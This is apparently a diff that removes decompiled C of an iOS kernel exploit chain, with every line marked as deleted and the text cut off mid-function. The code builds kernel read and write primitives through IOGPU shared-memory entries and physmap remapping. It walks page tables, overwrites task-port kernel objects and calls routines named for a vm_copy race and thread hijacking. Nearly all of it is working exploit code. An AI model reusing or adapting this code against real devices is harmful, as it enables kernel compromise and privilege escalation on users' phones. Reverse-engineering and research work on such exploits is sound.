-__int64 __fastcall iogpu_kwrite2(struct_krwCtx *krwCtx, unsigned __int64 a2, const void *a3, unsigned int a4, int a5)
-{
-  __int64 result; // x0
-  uint64_t *v7; // x21
-  size_t v10; // x22
-  int v11; // [xsp+Ch] [xbp-24h] BYREF
-
-  result = 708609;
-  v11 = -1;
-  v7 = (uint64_t *)krwCtx->iogpuCtx;
-  if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size )
-  {
-    v10 = a4;
-    if ( a5 )
-    {
-      result = fd_open_dev_null(&v11);
-      if ( (uint32_t)result )
-        return result;
-      physmap_write_aligned(v7, a3, a2, v10);
-      fd_close(v11);
-    }
-    else
-    {
-      physmap_write_aligned(v7, a3, a2, a4);
-    }
-    return 0;
-  }
-  return result;
-}
-
-//----- (000000000000A614) ----------------------------------------------------
-__int64 __fastcall setup_kernel_region_via_flags(struct_krwCtx *krwCtx)
-{
-  __int64 v2; // x21
-  int v3; // w8
-  __int128 v4; // q0
-  uint64_t *v5; // x0
-  uint64_t *v6; // x20
-  uint64_t *v7; // x21
-  __int128 v8; // q0
-  __int128 v10; // [xsp+0h] [xbp-40h]
-  __int128 v11; // [xsp+10h] [xbp-30h]
-
-  v2 = 708616;
-  if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
-    return v2;
-  v3 = krwCtx->flags & KRW_CTX_FLAG_CPU_A8_TO_A17_MASK;
-  if ( v3 == 0x100000 )
-  {
-    v10 = xmmword_42D80;
-    v11 = xmmword_42D90;
-  }
-  else
-  {
-    if ( v3 == 0x4000000 )
-    {
-      v11 = xmmword_42D70;
-      v4 = xmmword_42D60;
-    }
-    else
-    {
-      if ( v3 != 0x1000000 )
-        return v2;
-      v11 = xmmword_42D70;
-      v4 = xmmword_42DA0;
-    }
-    v10 = v4;
-  }
-  v5 = calloc(1u, 0x5E8u);
-  if ( !v5 )
-    return 708617;
-  v6 = v5;
-  if ( _os_alloc_once_table[162] == -1 )
-    v7 = (uint64_t *)_os_alloc_once_table[163];
-  else
-    v7 = (uint64_t *)_os_alloc_once(&_os_alloc_once_table[162], 0x10u, 0);
-  if ( *v7 )
-    v6[2] = *v7;
-  *(__int128 *)(v6 + 179) = v11;
-  *(__int128 *)(v6 + 181) = v10;
-  if ( (uint64_t)v11 == 16 )
-  {
-    v8 = xmmword_42D40;
-    goto LABEL_19;
-  }
-  if ( (uint64_t)v11 == 64 )
-  {
-    v8 = xmmword_42D50;
-LABEL_19:
-    *(__int128 *)(v6 + 187) = v8;
-  }
-  setup_thread_policy();
-  physmap_vmregion_init(v6);
-  dequeue_multiple_physmap_entries(v6);
-  run_physmap_setup_sequence(v6);
-  validate_physmap_range_3(v6);
-  setup_physmap_copy_structure(v6);
-  v6[186] = (uint64_t)krwCtx;
-  if ( !*v7 )
-    *v7 = v6[2];
-  v2 = 0;
-  *(uint64_t *)&krwCtx->iogpuKreadFn = (uint64_t)iogpu_kread;
-  *(uint64_t *)&krwCtx->iogpuKwriteFn = (uint64_t)iogpu_kwrite;
-  *(uint64_t *)&krwCtx->iogpuKread2Fn = (uint64_t)iogpu_kread2;
-  *(uint64_t *)&krwCtx->iogpuKwrite2Fn = (uint64_t)iogpu_kwrite2;
-  *(uint64_t *)&krwCtx->iogpuCtx = (uint64_t)v6;
-  v6[183] = read_task_kobject_physmap;
-  v6[184] = get_read_task_port_kobject;
-  v6[185] = check_task_port_type;
-  *(uint64_t *)&krwCtx->gap_0x1E0 = (uint64_t)necp_send_msg_1;
-  *(uint64_t *)&krwCtx->gap_0x1E8 = (uint64_t)v6;
-  return v2;
-}
-// 42D40: using guessed type __int128 xmmword_42D40;
-// 42D50: using guessed type __int128 xmmword_42D50;
-// 42D60: using guessed type __int128 xmmword_42D60;
-// 42D70: using guessed type __int128 xmmword_42D70;
-// 42D80: using guessed type __int128 xmmword_42D80;
-// 42D90: using guessed type __int128 xmmword_42D90;
-// 42DA0: using guessed type __int128 xmmword_42DA0;
-
-//----- (000000000000A82C) ----------------------------------------------------
-__int64 __fastcall read_task_kobject_physmap(struct_krwCtx *krwCtx, unsigned __int64 a2)
-{
-  __int64 result; // x0
-  unsigned __int64 v4; // x20
-  bool v5; // zf
-  uint64_t v6; // [xsp+8h] [xbp-18h] BYREF
-
-  result = traverse_sptm_pgtable_chain(krwCtx, mach_task_self_, a2);
-  if ( result )
-  {
-    v4 = result + 56;
-    result = kread64_internal(krwCtx, result + 56, &v6);
-    if ( (uint32_t)result )
-      v5 = v6 == 0;
-    else
-      v5 = 1;
-    if ( !v5 )
-      return kwrite_physmap_with_a3_ptr(krwCtx, v4, 0);
-  }
-  return result;
-}
-
-//----- (000000000000A8A0) ----------------------------------------------------
-__int64 __fastcall get_read_task_port_kobject(struct_krwCtx *krwCtx, mach_port_t a2)
-{
-  __int64 result; // x0
-  unsigned __int64 v4; // x20
-  uint64_t v5; // [xsp+8h] [xbp-18h] BYREF
-
-  result = get_task_kobject_addr(krwCtx, a2);
-  if ( result )
-  {
-    result = walk_kaddr_chain_to_target(krwCtx, result, 1);
-    if ( result )
-    {
-      v4 = result + 56;
-      result = kread64_internal(krwCtx, result + 56, &v5);
-      if ( (uint32_t)result )
-      {
-        if ( v5 )
-          return kwrite_physmap_with_a3_ptr(krwCtx, v4, 0);
-      }
-    }
-  }
-  return result;
-}
-
-//----- (000000000000A914) ----------------------------------------------------
-unsigned __int64 __fastcall check_task_port_type(__int64 krwCtx, unsigned __int64 a2)
-{
-  unsigned __int64 result; // x0
-  mach_vm_address_t vaddr; // x20
-  bool v5; // zf
-  int v6; // [xsp+4h] [xbp-1Ch] BYREF
-  unsigned __int64 v7; // [xsp+8h] [xbp-18h] BYREF
-
-  v7 = 0;
-  v6 = 0;
-  result = scan_and_validate_kaddr(krwCtx, mach_task_self_, a2, &v7);
-  if ( result )
-  {
-    vaddr = result + 40;
-    result = kread_u32(krwCtx, result + 40, &v6);
-    if ( (uint32_t)result )
-      v5 = v6 == 1;
-    else
-      v5 = 0;
-    if ( v5 )
-    {
-      v6 = 100;
-      return noppl_kwrite32(krwCtx, vaddr, 100);
-    }
-  }
-  return result;
-}
-
-//----- (000000000000A99C) ----------------------------------------------------
-__int64 __fastcall free_iogpu_krw_ctx(struct_krwCtx *krwCtx)
-{
-  __int64 v1; // x0
-
-  v1 = krwCtx->iogpuCtx;
-  if ( !v1 )
-    return 708609;
-  free_vm_page_array_list(v1);
-  return 0;
-}
-
-//----- (000000000000A9CC) ----------------------------------------------------
-__int64 __fastcall iogpu_teardown_ctx(struct_krwCtx *krwCtx)
-{
-  vm_address_t *v1; // x20
-  __int64 result; // x0
-  int v4; // [xsp+Ch] [xbp-14h] BYREF
-
-  v4 = -1;
-  v1 = krwCtx->iogpuCtx;
-  if ( !v1 )
-    return 708609;
-  result = fd_open_dev_null(&v4);
-  if ( !(uint32_t)result )
-  {
-    krwCtx->iogpuCtx = 0;
-    krwCtx->iogpuKreadFn = 0;
-    krwCtx->iogpuKread2Fn = 0;
-    krwCtx->iogpuKwriteFn = 0;
-    krwCtx->iogpuKwrite2Fn = 0;
-    teardown_iogpu_vm_copy(v1);
-    fd_close(v4);
-    return 0;
-  }
-  return result;
-}
-
-//----- (000000000000AA3C) ----------------------------------------------------
-__int64 __fastcall create_iogpu_shmem_entry(struct_krwCtx *krwCtx, uint32_t *a2, uint32_t *a3, mach_port_t *a4, uint64_t *a5)
-{
-  uint64_t *v5; // x25
-  __int64 v11; // x19
-  memory_object_offset_t v12; // x2
-  kern_return_t memory_entry_64; // w0
-  memory_object_size_t size; // [xsp+8h] [xbp-58h] BYREF
-  mach_port_t name; // [xsp+14h] [xbp-4Ch] BYREF
-  mach_port_t object_handle[2]; // [xsp+18h] [xbp-48h] BYREF
-
-  *(uint64_t *)object_handle = 0;
-  name = 0;
-  v5 = (uint64_t *)krwCtx->iogpuCtx;
-  if ( !v5 )
-    return 708609;
-  v11 = 163857;
-  if ( validate_kaddr_range(krwCtx, v5[163]) )
-  {
-    if ( v5[164] && v5[165] )
-    {
-      if ( validate_kaddr_range(krwCtx, v5[166]) && validate_kaddr_range(krwCtx, v5[167]) )
-      {
-        v12 = v5[170];
-        if ( v12 && v5[172] && v5[175] )
-        {
-          size = 0x4000;
-          memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v12, 3, &object_handle[1], 0);
-          if ( memory_entry_64
-            || (size = 0x4000,
-                (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[172], 3, object_handle, 0)) != 0)
-            || (size = 0x4000,
-                (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[175] + 0x4000LL, 3, &name, 0)) != 0) )
-          {
-            v11 = memory_entry_64 | 0x80000000;
-          }
-          else
-          {
-            v11 = 0;
-            a5[10] = v5[163];
-            a5[11] = 0;
-            a5[12] = v5[164];
-            a5[13] = v5[165];
-            a5[14] = v5[166];
-            a5[15] = v5[167];
-            *a2 = object_handle[1];
-            *a3 = object_handle[0];
-            *(uint64_t *)object_handle = 0;
-            *a4 = name;
-            name = 0;
-          }
-        }
-      }
-      else
-      {
-        v11 = 163878;
-      }
-    }
-  }
-  else
-  {
-    v11 = 163878;
-  }
-  if ( object_handle[1] + 1 >= 2 )
-    mach_port_deallocate(mach_task_self_, object_handle[1]);
-  if ( object_handle[0] + 1 >= 2 )
-    mach_port_deallocate(mach_task_self_, object_handle[0]);
-  if ( name + 1 >= 2 )
-    mach_port_deallocate(mach_task_self_, name);
-  return v11;
-}
-
-//----- (000000000000AC50) ----------------------------------------------------
-__int64 __fastcall iogpu_physmap_init(struct_krwCtx *krwCtx)
-{
-  vm_size_t v2; // x20
-  kern_return_t memory_entry; // w0
-  __int64 result; // x0
-  uint64_t *v5; // x4
-  __int64 v6; // x0
-  uint32_t *v7; // x20
-  __int64 i; // x23
-  unsigned int v9; // w21
-  __int64 v10; // x0
-  mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-94h] BYREF
-  vm_address_t address; // [xsp+10h] [xbp-90h] BYREF
-  vm_size_t size; // [xsp+18h] [xbp-88h] BYREF
-  mach_port_t v15; // [xsp+3Ch] [xbp-64h] BYREF
-  __int64 v16; // [xsp+40h] [xbp-60h] BYREF
-  uint32_t v17[4]; // [xsp+48h] [xbp-58h]
-
-  v16 = 0;
-  v15 = 0;
-  v2 = vm_page_size;
-  address = 0;
-  size = vm_page_size;
-  memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0);
-  if ( memory_entry )
-    return memory_entry | 0x80000000;
-  memory_entry = vm_map(mach_task_self_, &address, v2, 0, 1, object_handle, 0, 0, 3, 3, 2u);
-  if ( memory_entry )
-    return memory_entry | 0x80000000;
-  bzero((void *)address, v2);
-  v5 = (uint64_t *)address;
-  *(uint64_t *)address = krwCtx->gap_0x19D8;
-  v5[4] = krwCtx->iogpuKobjPtr2;
-  v5[5] = LODWORD(krwCtx->iogpuObjCount);
-  result = create_iogpu_shmem_entry(krwCtx, (uint32_t *)&v16 + 1, &v16, &v15, v5);
-  if ( !(uint32_t)result )
-  {
-    vm_deallocate(mach_task_self_, address, v2);
-    v17[0] = object_handle;
-    v17[1] = HIDWORD(v16);
-    v17[2] = v16;
-    v17[3] = v15;
-    v6 = iosurface_enum_mach_port(krwCtx, kIogpuMachPortSelectors[0]);
-    if ( v6 )
-    {
-      v7 = (uint32_t *)v6;
-      for ( i = 0; ; ++i )
-      {
-        v9 = v17[i];
-        v10 = task_self_get_ipc_port(krwCtx, v9);
-        if ( !v10 )
-          return 163854;
-        result = kread_and_vm_attr_double(krwCtx, v10);
-        if ( (uint32_t)result )
-          return result;
-        memory_entry = mach_port_mod_refs(mach_task_self_, v9, 0, 0xFFFF);
-        if ( memory_entry )
-          return memory_entry | 0x80000000;
-        *v7 = v9;
-        if ( i == 3 )
-          break;
-        v7 = (uint32_t *)iosurface_enum_mach_port(krwCtx, kIogpuMachPortSelectors[i + 1]);
-        result = 4097;
-        if ( !v7 )
-          return result;
-      }
-      return iosurface_check_and_alloc_port(krwCtx);
-    }
-    else
-    {
-      return 4097;
-    }
-  }
-  return result;
-}
-//----- (000000000000AE58) ----------------------------------------------------
-__int64 __fastcall iogpu_init_private_ctx(
-                                          struct_krwCtx *krwCtx,
-        uint64_t *a2,
-        mem_entry_name_port_t a3,
-        mem_entry_name_port_t a4,
-        mem_entry_name_port_t a5,
-        uint64_t *a6)
-{
-  __int64 v12; // x24
-  __int64 v13; // x20
-  __int64 v14; // x28
-  __int64 v15; // x21
-  __int64 v16; // x22
-  kern_return_t v17; // w0
-  uint64_t *v19; // x0
-  vm_address_t v20; // x9
-  __int64 v21; // [xsp+20h] [xbp-A0h]
-  vm_address_t v22; // [xsp+28h] [xbp-98h] BYREF
-  vm_address_t v23; // [xsp+30h] [xbp-90h] BYREF
-  vm_address_t v24; // [xsp+38h] [xbp-88h] BYREF
-  vm_prot_t cur_protection[2]; // [xsp+40h] [xbp-80h] BYREF
-  vm_address_t v26; // [xsp+48h] [xbp-78h] BYREF
-  vm_address_t v27; // [xsp+50h] [xbp-70h] BYREF
-  vm_address_t src_address; // [xsp+58h] [xbp-68h] BYREF
-  vm_address_t target_address; // [xsp+60h] [xbp-60h] BYREF
-  vm_address_t address; // [xsp+68h] [xbp-58h] BYREF
-
-  v12 = 163857;
-  address = 0;
-  src_address = 0;
-  target_address = 0;
-  v26 = 0;
-  v27 = 0;
-  v13 = a6[10];
-  if ( validate_kaddr_range(krwCtx, v13) )
-  {
-    v14 = a6[12];
-    if ( v14 )
-    {
-      if ( (krwCtx->pageMask & v14) == 0 )
-      {
-        v15 = a6[13];
-        if ( v15 )
-        {
-          v21 = a6[14];
-          v12 = 163878;
-          if ( validate_kaddr_range(krwCtx, v21) )
-          {
-            v16 = a6[15];
-            if ( validate_kaddr_range(krwCtx, v16) )
-            {
-              v17 = vm_allocate(mach_task_self_, &address, 0xC000u, 1);
-              if ( v17 )
-                goto LABEL_31;
-              v17 = vm_allocate(mach_task_self_, &address, 0x4000u, 16386);
-              if ( v17 )
-                goto LABEL_31;
-              *(uint64_t *)cur_protection = 0;
-              v17 = vm_remap(
-                      mach_task_self_,
-                      &address,
-                      0x4000u,
-                      0,
-                      0x4000,
-                      mach_task_self_,
-                      address,
-                      0,
-                      &cur_protection[1],
-                      cur_protection,
-                      1u);
-              if ( v17 )
-                goto LABEL_31;
-              v24 = address + 0x4000;
-              v17 = vm_allocate(mach_task_self_, &v24, 0x8000u, 0x4000);
-              if ( v17 )
-                goto LABEL_31;
-              v17 = vm_allocate(mach_task_self_, &target_address, 0xC000u, 1);
-              if ( v17 )
-                goto LABEL_31;
-              v17 = vm_map(mach_task_self_, &target_address, 0x4000u, 0, 0x4000, a3, 0, 0, 3, 3, 1u);
-              if ( v17 )
-                goto LABEL_31;
-              *(uint64_t *)cur_protection = 0;
-              v17 = vm_remap(
-                      mach_task_self_,
-                      &target_address,
-                      0x4000u,
-                      0,
-                      0x4000,
-                      mach_task_self_,
-                      target_address,
-                      0,
-                      &cur_protection[1],
-                      cur_protection,
-                      1u);
-              if ( v17 )
-                goto LABEL_31;
-              v23 = target_address + 0x4000;
-              v17 = vm_allocate(mach_task_self_, &v23, 0x8000u, 0x4000);
-              if ( v17 )
-                goto LABEL_31;
-              v17 = vm_copy(mach_task_self_, target_address, 0xC000u, address);
-              if ( v17 )
-                goto LABEL_31;
-              v17 = vm_allocate(mach_task_self_, &src_address, 0xC000u, 1);
-              if ( v17 )
-                goto LABEL_31;
-              v17 = vm_map(mach_task_self_, &src_address, 0x4000u, 0, 0x4000, a4, 0, 0, 3, 3, 1u);
-              if ( v17 )
-                goto LABEL_31;
-              *(uint64_t *)cur_protection = 0;
-              v17 = vm_remap(
-                      mach_task_self_,
-                      &src_address,
-                      0x4000u,
-                      0,
-                      0x4000,
-                      mach_task_self_,
-                      src_address,
-                      0,
-                      &cur_protection[1],
-                      cur_protection,
-                      1u);
-              if ( v17 )
-                goto LABEL_31;
-              v22 = src_address + 0x4000;
-              v17 = vm_allocate(mach_task_self_, &v22, 0x4000u, 16386);
-              if ( v17 )
-                goto LABEL_31;
-              *(uint64_t *)cur_protection = 0;
-              v17 = vm_remap(
-                      mach_task_self_,
-                      &v22,
-                      0x4000u,
-                      0,
-                      0x4000,
-                      mach_task_self_,
-                      v22,
-                      0,
-                      &cur_protection[1],
-                      cur_protection,
-                      1u);
-              if ( v17 )
-                goto LABEL_31;
-              v17 = vm_allocate(mach_task_self_, &v27, 0xC000u, 1);
-              if ( v17 )
-                goto LABEL_31;
-              v17 = vm_allocate(mach_task_self_, &v27, 0x4000u, 16386);
-              if ( v17 )
-                goto LABEL_31;
-              *(uint64_t *)cur_protection = 0;
-              v17 = vm_remap(
-                      mach_task_self_,
-                      &v27,
-                      0x4000u,
-                      0,
-                      0x4000,
-                      mach_task_self_,
-                      v27,
-                      0,
-                      &cur_protection[1],
-                      cur_protection,
-                      1u);
-              if ( v17 )
-                goto LABEL_31;
-              v22 = v27 + 0x4000;
-              v17 = vm_allocate(mach_task_self_, &v22, 0x4000u, 16386);
-              if ( v17 )
-                goto LABEL_31;
-              *(uint64_t *)cur_protection = 0;
-              v17 = vm_remap(
-                      mach_task_self_,
-                      &v22,
-                      0x4000u,
-                      0,
-                      0x4000,
-                      mach_task_self_,
-                      v22,
-                      0,
-                      &cur_protection[1],
-                      cur_protection,
-                      1u);
-              if ( v17 )
-                goto LABEL_31;
-              v17 = vm_allocate(mach_task_self_, &v26, 0xC000u, 1);
-              if ( v17
-                || (v17 = vm_allocate(mach_task_self_, &v26, 0x4000u, 16386)) != 0
-                || (*(uint64_t *)cur_protection = 0,
-                    (v17 = vm_remap(
-                             mach_task_self_,
-                             &v26,
-                             0x4000u,
-                             0,
-                             0x4000,
-                             mach_task_self_,
-                             v26,
-                             0,
-                             &cur_protection[1],
-                             cur_protection,
-                             1u)) != 0)
-                || (v22 = v26 + 0x4000,
-                    (v17 = vm_map(mach_task_self_, &v22, 0x4000u, 0, 0x4000, a5, 0, 0, 3, 3, 1u)) != 0)
-                || (*(uint64_t *)cur_protection = 0,
-                    (v17 = vm_remap(
-                             mach_task_self_,
-                             &v22,
-                             0x4000u,
-                             0,
-                             0x4000,
-                             mach_task_self_,
-                             v22,
-                             0,
-                             &cur_protection[1],
-                             cur_protection,
-                             1u)) != 0) )
-              {
-LABEL_31:
-                v12 = v17 | 0x80000000;
-              }
-              else
-              {
-                v19 = calloc(1u, 0x5E8u);
-                if ( v19 )
-                {
-                  v12 = 0;
-                  v19[163] = v13;
-                  v19[164] = v14;
-                  v19[165] = v15;
-                  v19[166] = v21;
-                  v19[167] = v16;
-                  v19[169] = address;
-                  v20 = src_address;
-                  v19[170] = target_address;
-                  v19[171] = 49152;
-                  address = 0;
-                  src_address = 0;
-                  target_address = 0;
-                  v19[172] = v20;
-                  v19[173] = v27;
-                  v19[174] = 49152;
-                  v19[175] = v26;
-                  v19[176] = v20;
-                  v19[177] = 49152;
-                  v26 = 0;
-                  v27 = 0;
-                  *a2 = v19;
-                  goto LABEL_35;
-                }
-                v12 = 708617;
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-  else
-  {
-    v12 = 163878;
-  }
-  if ( src_address )
-    vm_deallocate(mach_task_self_, src_address, 0xC000u);
-LABEL_35:
-  if ( v27 )
-    vm_deallocate(mach_task_self_, v27, 0xC000u);
-  if ( v26 )
-    vm_deallocate(mach_task_self_, v26, 0xC000u);
-  if ( address )
-    vm_deallocate(mach_task_self_, address, 0xC000u);
-  if ( target_address )
-    vm_deallocate(mach_task_self_, target_address, 0xC000u);
-  return v12;
-}
-
-//----- (000000000000B460) ----------------------------------------------------
-__int64 __fastcall iogpu_krw_ctx_setup(struct_krwCtx *krwCtx, uint32_t *a2)
-{
-  vm_size_t v2; // x20
-  __int64 result; // x0
-  int v6; // w22
-  mach_port_name_t *v7; // x0
-  __int64 v8; // x23
-  mach_port_name_t v9; // w1
-  __int64 i; // x21
-  mach_port_name_t v11; // w1
-  bool v12; // zf
-  __int64 v13; // x23
-  __int64 v14; // x23
-  uint64_t *v15; // x5
-  __int64 v16; // x8
-  __int64 v17; // x8
-  uint64_t v18; // [xsp+18h] [xbp-88h] BYREF
-  int v20; // [xsp+3Ch] [xbp-64h] BYREF
-  vm_address_t address; // [xsp+40h] [xbp-60h] BYREF
-  mem_entry_name_port_t object[4]; // [xsp+48h] [xbp-50h]
-
-  *(uint64_t *)object = 0;
-  *(uint64_t *)&object[2] = 0;
-  address = 0;
-  v2 = vm_page_size;
-  v20 = -1;
-  if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) )
-    return 708609;
-  result = fd_open_dev_null(&v20);
-  if ( !(uint32_t)result )
-  {
-    v6 = 163878;
-    v7 = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, kIogpuMachPortSelectors[0]);
-    if ( v7 )
-    {
-      v8 = 0;
-      do
-      {
-        v9 = *v7;
-        object[v8] = *v7;
-        if ( v9 + 1 < 2 || mach_port_mod_refs(mach_task_self_, v9, 0, 1) )
-          break;
-        if ( v8 == 3 )
-        {
-          if ( !vm_map(mach_task_self_, &address, v2, 0, 1, object[0], 0, 0, 3, 3, 2u) )
-          {
-            v13 = *(uint64_t *)address;
-            if ( validate_kaddr_range(krwCtx, *(uint64_t *)address) )
-            {
-              krwCtx->gap_0x19D8 = v13;
-              v14 = *(uint64_t *)(address + 32);
-              if ( validate_kaddr_range(krwCtx, v14) )
-              {
-                krwCtx->iogpuKobjPtr2 = v14;
-                v15 = (uint64_t *)address;
-                v16 = *(uint64_t *)(address + 40);
-                if ( (unsigned __int64)(v16 - 1) <= 0x1F )
-                {
-                  LODWORD(krwCtx->iogpuObjCount) = v16;
-                  v18 = 0;
-                  v6 = iogpu_init_private_ctx(krwCtx, &v18, object[1], object[2], object[3], v15);
-                  if ( !v6 )
-                  {
-                    v17 = v18;
-                    *(uint64_t *)&krwCtx->iogpuKreadFn = (uint64_t)iogpu_kread;
-                    *(uint64_t *)&krwCtx->iogpuKwriteFn = (uint64_t)iogpu_kwrite;
-                    *(uint64_t *)&krwCtx->iogpuKread2Fn = (uint64_t)iogpu_kread2;
-                    *(uint64_t *)&krwCtx->iogpuKwrite2Fn = (uint64_t)iogpu_kwrite2;
-                    *(uint64_t *)&krwCtx->iogpuCtx = v17;
-                    fd_close(v20);
-                    v20 = -1;
-                    v6 = krw_read_validation(krwCtx, 0);
-                    if ( !v6 )
-                    {
-                      *(uint64_t *)&krwCtx->iogpuKreadFn = 0;
-                      v6 = krw_write_validation(krwCtx);
-                      if ( !v6 )
-                        *(uint64_t *)&krwCtx->iogpuKwriteFn = 0;
-                    }
-                  }
-                }
-              }
-            }
-          }
-          break;
-        }
-        v7 = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, kIogpuMachPortSelectors[v8 + 1]);
-        ++v8;
-      }
-      while ( v7 );
-    }
-    if ( v20 != -1 )
-      fd_close(v20);
-    if ( v6 )
-    {
-      for ( i = 0; i != 4; ++i )
-      {
-        v11 = object[i];
-        if ( v11 + 1 >= 2 )
-          mach_port_deallocate(mach_task_self_, v11);
-      }
-    }
-    if ( address )
-      v12 = v2 == 0;
-    else
-      v12 = 1;
-    if ( !v12 )
-      vm_deallocate(mach_task_self_, address, v2);
-    result = 0;
-    *a2 = v6 == 0;
-  }
-  return result;
-}
-//----- (000000000000B73C) ----------------------------------------------------
-__int64 __fastcall get_iogpu_physmap_base(struct_krwCtx *krwCtx)
-{
-  __int64 v1; // x8
-
-  v1 = krwCtx->iogpuCtx;
-  if ( v1 )
-    return *(uint64_t *)(v1 + 1336);
-  else
-    return 708609LL;
-}
-
-//----- (000000000000B758) ----------------------------------------------------
-void memory_barrier_dsb_isb()
-{
-  __dsb(0xFu);
-  __isb(0xFu);
-}
-
-//----- (000000000000B768) ----------------------------------------------------
-__int64 __fastcall iogpu_kernel_read_op(struct_krwCtx *krwCtx, unsigned __int64 a2, int a3)
-{
-  __int64 v6; // x24
-  __int64 v7; // x22
-  __int64 v8; // x8
-  unsigned __int64 v9; // x23
-  int v10; // w0
-  __int64 v11; // x24
-  int v12; // w0
-  unsigned __int64 port_kaddr; // x0
-  unsigned __int64 v15; // x0
-  int v16; // w0
-  int v17; // w0
-  __int64 v18; // x0
-  __int64 v19; // x24
-  __int64 v20; // x27
-  __int64 v21; // x22
-  __int16 v22; // w26
-  int v23; // w0
-  __int64 v24; // x8
-  int v25; // [xsp+4h] [xbp-3ACh] BYREF
-  unsigned __int64 v26[5]; // [xsp+8h] [xbp-3A8h] BYREF
-  uint64_t v27[5]; // [xsp+30h] [xbp-380h] BYREF
-  uint64_t v28[2]; // [xsp+58h] [xbp-358h] BYREF
-  int v29; // [xsp+68h] [xbp-348h]
-  uint64_t *v30[3]; // [xsp+70h] [xbp-340h] BYREF
-  uint64_t kernelScanCtx[5]; // [xsp+88h] [xbp-328h] BYREF
-  uint64_t v34[2]; // [xsp+B0h] [xbp-300h] BYREF
-  char v35; // [xsp+C4h] [xbp-2ECh]
-  unsigned __int64 v36; // [xsp+D0h] [xbp-2E0h]
-
-  memset(v26, 0, sizeof(v26));
-  memset(v27, 0, sizeof(v27));
-  memset(v34, 0, sizeof(v34));
-  v35 = 0;
-  v36 = 0;
-  v6 = 708619;
-  if ( !(unsigned int)acquire_write_semaphore_lock(krwCtx, 7u, 0x2710u) )
-  {
-    v8 = *(uint64_t *)&krwCtx->mappedKernelRegion;
-    if ( v8 )
-    {
-      if ( *(uint64_t *)&krwCtx->mappedKernelSize )
-      {
-        v9 = *(uint64_t *)(v8 + 344);
-        if ( v9 )
-          goto LABEL_6;
-      }
-    }
-    v30[2] = kernelScanCtx;
-    v34[0] = off_448E0;
-    v34[1] = kernelScanCtx;
-    v12 = parse_xnu_version_string((__int64)&qword_480D8);
-    if ( !v12 )
-    {
-      v7 = 163878;
-      kernelScanCtx[4] = (uint64_t)krwCtx;
-      scan_for_macho_header(kernelScanCtx, krwCtx->gap_0x19D0);
-      port_kaddr = get_task_kobject_addr(krwCtx, mach_task_self_);
-      kernelScanCtx[2] = port_kaddr;
-      if ( port_kaddr && (kernelScanCtx[3] = kreadptr(krwCtx, port_kaddr)) != 0 )
-      {
-        if ( !(unsigned int)init_text_exec_data_const_sections(v30) && !(unsigned int)setup_iokit_notify_dispatch(&qword_48000, v30) )
-        {
-          if ( (unsigned int)exploit_thread_vmcopy_race((__int64)v34)
-            || (unsigned int)krw_ctx_setup_physmap((__int64)&gPhysmapGadgets, v30, (__int64)kernelScanCtx)
-            || (v28[0] = kernelScanCtx, v28[1] = v34, v29 = 0, (unsigned int)thread_hijack_exploit((__int64)v28)) )
-          {
-            get_ppnum_via_kread((__int64)v34);
-          }
-          else
-          {
-            get_ppnum_via_kread((__int64)v34);
-            v25 = 2 * krwCtx->pageSizeOrSomething;
-            v15 = alloc_physmap_page(krwCtx, (unsigned int *)&v25);
-            if ( !v15 )
-            {
-              v7 = 708617;
-              goto LABEL_27;
-            }
-            v9 = v15;
-            v16 = pgtable_walk_wrapper(krwCtx, v15, v27);
-            if ( !v16 )
-              goto LABEL_27;
-            v17 = pgtable_walk_wrapper(krwCtx, v9 + krwCtx->pageSizeOrSomething, v26);
-            if ( !v17 )
-              goto LABEL_27;
-            v18 = map_physpage_for_kobj(krwCtx, v26[0]);
-            if ( !v18 )
-              goto LABEL_27;
-            v19 = v18;
-            v20 = krwCtx->pageMask;
-            v21 = v27[4];
-            v22 = v27[0];
-            v23 = pgtable_walk_wrapper(krwCtx, v27[0] & ~v20, v34);
-            if ( v23 && (v36 & 0xFFFFFFFFC000LL) != 0 )
-            {
-              v30[0] = (uint64_t *)MEMORY[0x400000008];
-              kernelScanCtx[0] = (MEMORY[0x400000008] & 0xFFFF000000003FFFLL) | (v36 & 0xFFFFFFFFC000LL);
-              MEMORY[0x400000008] = kernelScanCtx[0];
-              memory_barrier_dsb_isb();
-              semaphore_timedwait_ns(krwCtx, 0x2710u);
-              *(uint64_t *)((v22 & 0x3FFF) | 0x400004000LL) = (v21 & 0xFFFF000000003FFFLL)
-                                                        | ((((v19 & (unsigned __int64)~v20) >> 14) & 0x3FFFFFFFFLL) << 14);
-              memory_barrier_dsb_isb();
-              MEMORY[0x400000008] = v30[0];
-              semaphore_timedwait_ns(krwCtx, 0x2710u);
-              v24 = *(uint64_t *)&krwCtx->mappedKernelRegion;
-              if ( v24 && *(uint64_t *)&krwCtx->mappedKernelSize )
-                *(uint64_t *)(v24 + 344) = v9;
-LABEL_6:
-              v7 = 163878;
-              v10 = pgtable_walk_wrapper(krwCtx, a2, v34);
-              if ( v10 )
-              {
-                if ( v35 == 3 )
-                {
-                  v11 = v9 + 8 * (((krwCtx->pageSizeOrSomething + (uint32_t)v9) & 0x1FFFFFFu) / krwCtx->pageSizeOrSomething);
-                  if ( (unsigned int)krw_read_thunk(krwCtx, v11, 8, kernelScanCtx) )
-                  {
-                    v27[0] = (kernelScanCtx[0] & 0xFFFF000000003FFFLL) | (((v36 >> 14) & 0x3FFFFFFFFLL) << 14);
-                    if ( v27[0] == kernelScanCtx[0] )
-                      goto LABEL_12;
-                    if ( (unsigned int)kwrite_with_retry(krwCtx, v11, (__int64)v27, 8) )
-                    {
-                      semaphore_timedwait_ns(krwCtx, 0x2710u);
-LABEL_12:
-                      if ( noppl_kwrite32(
-                             krwCtx,
-                             v9 + krwCtx->pageSizeOrSomething + (krwCtx->pageMask & a2),
-                             a3) )
-                      {
-                        v7 = 0;
-                      }
-                      else
-                      {
-                        v7 = 163856;
-                      }
-                      goto LABEL_27;
-                    }
-                    v7 = 163856;
-                  }
-                  else
-                  {
